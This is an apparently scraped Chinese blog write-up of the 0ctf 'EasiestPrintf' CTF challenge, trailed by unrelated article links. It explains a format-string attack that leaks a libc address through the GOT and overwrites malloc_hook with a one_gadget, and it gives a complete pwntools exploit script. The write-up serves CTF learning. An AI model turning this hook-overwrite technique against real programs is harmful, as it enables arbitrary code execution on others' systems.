格式化字符串漏洞利用实战之 0ctf-easyprintf
前言
这是 0ctf
的一道比较简单的格式化串的题目。
正文
逻辑非常简单
do_read
可以打印内存地址的数据,可用来 泄露 got
.
leave
格式化字符串漏洞。
printf(s)
直接调用 exit
退出了。不过可以使用 %1000c
触发 printf
里面的 malloc
和 free
, 所以思路很清楚了,修改 free_hook
或者 malloc_hook
为 one_gadget
, 并且在格式化串末尾加上 %1000c
触发 malloc
和 free
最后
最开始修改 free_hook
, 发现所有的 one_gadget
都不能用,后面使用了 malloc_hook
,终于找到一个可以用的,估计和寄存器的数据有关。
exp:
from pwn import *
context(os='linux',log_level='debug')
p = process("./EasiestPrintf")
# gdb.attach(p, '''
# c
# ''')
setvbuf_got = 0x08049FF0
exit_got = 0x08049FE4
pause()
p.sendline(str(setvbuf_got))
p.recvuntil("Which address you wanna read:\n")
setvbuf_addr = int(p.recv(len('0xf7e60360')), 16)
libc_addr = setvbuf_addr - 0x60360
free_hook = libc_addr + 0x1b38b0
malloc_hook = libc_addr + 0x1b2768
one_gadget = libc_addr + 0x3ac69
log.info("free_hook: " + hex(free_hook))
log.info("one_gadget: " + hex(one_gadget))
pause()
payload = fmtstr_payload(7, {malloc_hook: one_gadget})
payload += "%100000c"
p.sendline(payload)
p.interactive()
格式化字符串漏洞利用实战之 0ctf-easyprintf的更多相关文章
- 格式化字符串漏洞利用实战之 njctf-decoder
前言 格式化字符串漏洞也是一种比较常见的漏洞利用技术.ctf 中也经常出现. 本文以 njctf 线下赛的一道题为例进行实战. 题目链接:https://gitee.com/hac425/blog_d ...
- Linux下的格式化字符串漏洞利用姿势
linux最早的漏洞防护机制nx-stack刚刚出现后就有人想出了突破方法.那就是只有栈是不可执行,而除了栈以外的其他地方还是可以执行的,只要把返回地址执行别的地方就可以. 一.格式化字符串漏洞 格式 ...
- Linux pwn入门教程(6)——格式化字符串漏洞
作者:Tangerine@SAINTSEC 0x00 printf函数中的漏洞 printf函数族是一个在C编程中比较常用的函数族.通常来说,我们会使用printf([格式化字符串],参数)的形式来进 ...
- Linux pwn入门教程——格式化字符串漏洞
本文作者:Tangerine@SAINTSEC 原文来自:https://bbs.ichunqiu.com/thread-42943-1-1.html 0×00 printf函数中的漏洞printf函 ...
- CTF必备技能丨Linux Pwn入门教程——格式化字符串漏洞
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
- [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇
目录 [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇 格式化输出函数 printf函数族功能介绍 printf参数 type(类型) flags(标志) number(宽度) precisi ...
- 通过格式化字符串漏洞绕过canary
1.1 canary内存保护机制 1.1.1 canary工作原理 canary保护机制类似于/GS保护机制,是Linux下gcc编译器的安全保护机制之一,在栈中的结构如下图所示: 在函数 ...
- 格式化字符串漏洞 format string exploit(一)
本文系原创,转载请说明出处 本文为基于CTF WIKI的PWN学习 0x00 格式化字符串原理 先附一张经典的图,如下 其栈上布局如下: some value 3.14 123456 addr of ...
- sprintf格式化字符串漏洞(转)
深入解析sprintf格式化字符串漏洞 特征: 如何利用: 可以看到, php源码中只对15种类型做了匹配, 其他字符类型都直接break了,php未做任何处理,直接跳过,所以导致了这个问题: 没做字 ...
随机推荐
- 屏蔽百度及其广告的部分Host
127.0.0.44 www.baidu.com127.0.0.44 cpro.baidu.com127.0.0.44 hm.baidu.com127.0.0.44 bdimg.share.baidu ...
- easyUI datebox 日期空间斜杠格式化。例如将日期空间中显示2017-03-13,改为2017/03/13
easyUI datebox 日期空间斜杠格式化 将日期空间中显示2017-03-13,改为2017/03/13 //日期控件斜杠格式化 function formatDate(date){ if( ...
- Lingo 做线性规划 - Financial Applications
Reference: <An Introduction to Management Science Quantitative Approaches to Decision Making, Rev ...
- Hadoop简介与伪分布式搭建—DAY01
一. Hadoop的一些相关概念及思想 1.hadoop的核心组成: (1)hdfs分布式文件系统 (2)mapreduce 分布式批处理运算框架 (3)yarn 分布式资源调度系统 2.hadoo ...
- 第7章—SpringMVC高级技术—不用web.xml,而使用java类配置SpringMVC
不用web.xml,而使用java类配置SpringMVC DispatcherServlet是Spring MVC的核心,按照传统方式, 需要把它配置到web.xml中. 我个人比较不喜欢XML配置 ...
- 《LeetBook》leetcode题解(18) : 4Sum[M]
我现在在做一个叫<leetbook>的免费开源书项目,力求提供最易懂的中文思路,目前把解题思路都同步更新到gitbook上了,需要的同学可以去看看 书的地址:https://hk029.g ...
- mongodb-mongotemplate进行地理坐标操作
因为项目中使用的springboot + mongotemplate, 所以还是需要mongotemplate的操作方式 首先建立一个bean: package com.iwhere.easy.tra ...
- [BJOI 2018]求和
Description 题库链接 给你一棵 \(n\) 个结点的有根树, \(m\) 次询问这棵树上一段路径上所有节点深度的 \(k\) 次方和. \(1\leq n\leq 300000,1\leq ...
- Node.js进程管理之进程集群
一.cluster模块 Node.js是单线程处理,对于高并发的请求怎么样能增加吞吐量呢?为了提高服务器的利用率,能不能多核的来处理呢?于是就有了cluster模块. cluster模块可以轻松实现运 ...
- oracle jdbc jar 的一些说明
Oracle Database 10g Release 2 JDBC Drivers You must accept the OTN Development and Distribution Lice ...